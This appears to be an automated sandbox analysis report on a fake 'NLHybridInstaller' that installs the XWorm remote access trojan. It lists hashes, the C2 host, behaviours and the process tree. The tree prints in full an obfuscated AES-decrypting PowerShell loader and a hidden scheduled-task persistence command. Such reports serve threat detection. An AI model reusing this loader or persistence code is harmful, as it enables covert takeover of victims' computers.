Analysis

  • max time kernel
    96s
  • max time network
    136s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-11-2024 05:44

General

  • Target

    NLHybridInstaller.exe

  • Size

    2.0MB

  • MD5

    cf7734eb96e90bb9beb67c4cea3c3c2c

  • SHA1

    1695cc75145439634e1beb3b6b568096f0474239

  • SHA256

    c5fc6ccc1b183c14888a0a832a52ea7ee37efa0e84f6712aae56101c48da983e

  • SHA512

    338ec39d7146e5451acdf563db88df0affda014f67a0fcd012b8e3e3b7a7aa97dc485a3bc2d31dac23d7cac286d7341a34ddd3ac7f1d6d78d5277e2ee6b1132a

  • SSDEEP

    24576:HawwKusHwEwSDMn64+uT361idUSeMITCqgcfyr4Py6K22i+i8rtVs1ZY7jQY71M:XwREDDMcuT36AdHeMxWrP+beY7UY71M

Malware Config

Extracted

Family

xworm

C2

high-outline.gl.at.ply.gg:9999

Attributes
  • Install_directory

    %AppData%

  • install_file

    windows32upder0x0021.exe

Signatures

  • Detect Xworm Payload 4 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 16 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\NLHybridInstaller.exe
    "C:\Users\Admin\AppData\Local\Temp\NLHybridInstaller.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4960
    • C:\Users\Admin\AppData\Local\Temp\is-07H0M.tmp\NLHybridInstaller.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-07H0M.tmp\NLHybridInstaller.tmp" /SL5="$6019A,1111535,845824,C:\Users\Admin\AppData\Local\Temp\NLHybridInstaller.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:3288
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Programs\NLHybrid Fixer\NLHybrid Fixer.bat" "
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4248
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SxaOcu592pxjx2riZwLLzxifbSL4LVKOvKdWGmoFwo8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KCSLz1jpgN1BDTd1TxKBLw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $uCgKb=New-Object System.IO.MemoryStream(,$param_var); $hRDfQ=New-Object System.IO.MemoryStream; $hqAUw=New-Object System.IO.Compression.GZipStream($uCgKb, [IO.Compression.CompressionMode]::Decompress); $hqAUw.CopyTo($hRDfQ); $hqAUw.Dispose(); $uCgKb.Dispose(); $hRDfQ.Dispose(); $hRDfQ.ToArray();}function execute_function($param_var,$param2_var){ $btbYa=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $oUuFp=$btbYa.EntryPoint; $oUuFp.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Programs\NLHybrid Fixer\NLHybrid Fixer.bat';$rzvJC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Programs\NLHybrid Fixer\NLHybrid Fixer.bat').Split([Environment]::NewLine);foreach ($zlWxg in $rzvJC) { if ($zlWxg.StartsWith(':: ')) { $guGBs=$zlWxg.Substring(3); break; }}$payloads_var=[string[]]$guGBs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5112
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_162_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_162.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:452
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_162.vbs"
            5⤵
            • Checks computer location settings
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3132
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_162.bat" "
              6⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2148
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SxaOcu592pxjx2riZwLLzxifbSL4LVKOvKdWGmoFwo8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KCSLz1jpgN1BDTd1TxKBLw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $uCgKb=New-Object System.IO.MemoryStream(,$param_var); $hRDfQ=New-Object System.IO.MemoryStream; $hqAUw=New-Object System.IO.Compression.GZipStream($uCgKb, [IO.Compression.CompressionMode]::Decompress); $hqAUw.CopyTo($hRDfQ); $hqAUw.Dispose(); $uCgKb.Dispose(); $hRDfQ.Dispose(); $hRDfQ.ToArray();}function execute_function($param_var,$param2_var){ $btbYa=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $oUuFp=$btbYa.EntryPoint; $oUuFp.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_162.bat';$rzvJC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_162.bat').Split([Environment]::NewLine);foreach ($zlWxg in $rzvJC) { if ($zlWxg.StartsWith(':: ')) { $guGBs=$zlWxg.Substring(3); break; }}$payloads_var=[string[]]$guGBs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                7⤵
                • Blocklisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:1316
                • C:\Users\Admin\AppData\Local\Programs\NLHybrid Fixer\XClient.exe
                  "C:\Users\Admin\AppData\Local\Programs\NLHybrid Fixer\XClient.exe"
                  8⤵
                  • Executes dropped EXE
                  PID:2720
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1316 -s 3176
                  8⤵
                  • Program crash
                  PID:232
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 1316 -ip 1316
    1⤵
      PID:1232

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      9751fcb3d8dc82d33d50eebe53abe314

      SHA1

      7a680212700a5d9f3ca67c81e0e243834387c20c

      SHA256

      ad2e3139aa438f799c4a876ca3e64af772b8a5786149925a08389723e42394d7

      SHA512

      54907cc18684ff892b737496183ca60c788d8f5d76365586954f269dbd50ac1b9cd48c7c50bd6ca02009e6020fd77a8282c9a7ad6b824a20585c505bd7e13709

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      18KB

      MD5

      a882f04ec4e14b784ffbf24f03e78d12

      SHA1

      3a0c042b8c5baf27264991ba14b00d9097dbb6db

      SHA256

      dcf0c0b0c9f609f31b6d49b120623d1869d904f9fb4dfa664a8406b467f65b06

      SHA512

      2203c54610cabfc1102f6317a4b8d65779e9f714a4cc9d2bbe528386c918d96d0ac66c8cdfafbf5b24bbe17b5179cf732bfdca96d2feed07c6aeeb75abc545f9

    • C:\Users\Admin\AppData\Local\Programs\NLHybrid Fixer\NLHybrid Fixer.bat

      Filesize

      355KB

      MD5

      05752d236dc924a1e10ba6e6081b5302

      SHA1

      8a85b3864b64ff001b10ab957ddef96caa05fbc7

      SHA256

      f280c213d2bb0de32863411882ef3ebde4db0905850e09ad921563369d9e1d66

      SHA512

      81991e5aa0ebd2a54f33622f1be283b96e0343c78cb15f1595db1418dd28d2a3435120ee268b8bb7bca26592a9bfaa3bd514c8dd3d6a793eaf6979b86ac631f0

    • C:\Users\Admin\AppData\Local\Programs\NLHybrid Fixer\XClient.exe

      Filesize

      164KB

      MD5

      4dd0f50e72bfa4da180d9280c7dcc00d

      SHA1

      a771d2dc5aa65038fbf2053d3e7bb664bda8e1c7

      SHA256

      653659129b2cec88dd5678b486edbcce42e15406090eda1384f8481a550b332c

      SHA512

      8c6475d893c58687e7d06883b32501a0f555ce64df790df323105bb96b2a7841cab34c6cfda0f02985d1aa440d1bcc13b3552fe7d02b057ccabef982b1fd85ad

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gttkval1.q41.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\is-07H0M.tmp\NLHybridInstaller.tmp

      Filesize

      3.2MB

      MD5

      c31db43de7031d003d528c81517a3958

      SHA1

      05d86b48e6873d561e484c134c2e99d6df7215ed

      SHA256

      0d4ee23a50876177908a4f2cd1a4aa4e68e700b059be3c535cd22ca6c5132f82

      SHA512

      dab6939cd0437ded9609d031a618dcb9c92a46b21ac2f97d1c196c852d983f4f1ea54caebb0ca8f09813f7ef9da03d25b502a2429f20300932f57a2923c3135a

    • C:\Users\Admin\AppData\Roaming\startup_str_162.vbs

      Filesize

      115B

      MD5

      8942e90b5e279a846db5b6f813e7f447

      SHA1

      cd05bb2538f5beb2f8cc42a45ce084335fa1ebd6

      SHA256

      2d5fe3bbf03aae904dc304b0c8073ce55bab2763bcc64174a014aa1f7e0b3a33

      SHA512

      4d47a9e134e9e7c8b02019fa7f3948864d214002b80d999bf4a3f91a1374ba977af40eaaacfd075134f0eb2f1104d10b02c24030322655538d7486e3463730ff

    • memory/452-76-0x00000000075E0000-0x0000000007683000-memory.dmp

      Filesize

      652KB

    • memory/452-78-0x0000000007920000-0x00000000079B6000-memory.dmp

      Filesize

      600KB

    • memory/452-75-0x0000000006980000-0x000000000699E000-memory.dmp

      Filesize

      120KB

    • memory/452-77-0x00000000076F0000-0x00000000076FA000-memory.dmp

      Filesize

      40KB

    • memory/452-64-0x0000000006940000-0x0000000006972000-memory.dmp

      Filesize

      200KB

    • memory/452-65-0x0000000070880000-0x00000000708CC000-memory.dmp

      Filesize

      304KB

    • memory/452-79-0x0000000007890000-0x00000000078A1000-memory.dmp

      Filesize

      68KB

    • memory/1316-104-0x00000000071F0000-0x000000000728C000-memory.dmp

      Filesize

      624KB

    • memory/1316-103-0x0000000007120000-0x000000000714E000-memory.dmp

      Filesize

      184KB

    • memory/2720-115-0x0000000000FE0000-0x000000000100E000-memory.dmp

      Filesize

      184KB

    • memory/3288-10-0x0000000001130000-0x0000000001131000-memory.dmp

      Filesize

      4KB

    • memory/3288-26-0x0000000000410000-0x0000000000753000-memory.dmp

      Filesize

      3.3MB

    • memory/3288-22-0x0000000000410000-0x0000000000753000-memory.dmp

      Filesize

      3.3MB

    • memory/3288-12-0x0000000000410000-0x0000000000753000-memory.dmp

      Filesize

      3.3MB

    • memory/3288-9-0x0000000000410000-0x0000000000753000-memory.dmp

      Filesize

      3.3MB

    • memory/3288-6-0x0000000001130000-0x0000000001131000-memory.dmp

      Filesize

      4KB

    • memory/4960-27-0x0000000000260000-0x000000000033C000-memory.dmp

      Filesize

      880KB

    • memory/4960-1-0x0000000000260000-0x000000000033C000-memory.dmp

      Filesize

      880KB

    • memory/4960-2-0x0000000000261000-0x0000000000309000-memory.dmp

      Filesize

      672KB

    • memory/4960-8-0x0000000000260000-0x000000000033C000-memory.dmp

      Filesize

      880KB

    • memory/5112-34-0x0000000005E50000-0x0000000005E72000-memory.dmp

      Filesize

      136KB

    • memory/5112-31-0x0000000074A60000-0x0000000075210000-memory.dmp

      Filesize

      7.7MB

    • memory/5112-48-0x0000000006620000-0x000000000666C000-memory.dmp

      Filesize

      304KB

    • memory/5112-47-0x00000000065D0000-0x00000000065EE000-memory.dmp

      Filesize

      120KB

    • memory/5112-46-0x00000000060D0000-0x0000000006424000-memory.dmp

      Filesize

      3.3MB

    • memory/5112-36-0x0000000006060000-0x00000000060C6000-memory.dmp

      Filesize

      408KB

    • memory/5112-35-0x0000000005FF0000-0x0000000006056000-memory.dmp

      Filesize

      408KB

    • memory/5112-49-0x0000000007DA0000-0x000000000841A000-memory.dmp

      Filesize

      6.5MB

    • memory/5112-33-0x0000000074A60000-0x0000000075210000-memory.dmp

      Filesize

      7.7MB

    • memory/5112-53-0x00000000089D0000-0x0000000008F74000-memory.dmp

      Filesize

      5.6MB

    • memory/5112-32-0x00000000057D0000-0x0000000005DF8000-memory.dmp

      Filesize

      6.2MB

    • memory/5112-30-0x0000000003100000-0x0000000003136000-memory.dmp

      Filesize

      216KB

    • memory/5112-100-0x0000000074A60000-0x0000000075210000-memory.dmp

      Filesize

      7.7MB

    • memory/5112-29-0x0000000074A6E000-0x0000000074A6F000-memory.dmp

      Filesize

      4KB

    • memory/5112-52-0x00000000077F0000-0x0000000007854000-memory.dmp

      Filesize

      400KB

    • memory/5112-51-0x0000000007790000-0x0000000007798000-memory.dmp

      Filesize

      32KB

    • memory/5112-50-0x0000000007760000-0x000000000777A000-memory.dmp

      Filesize

      104KB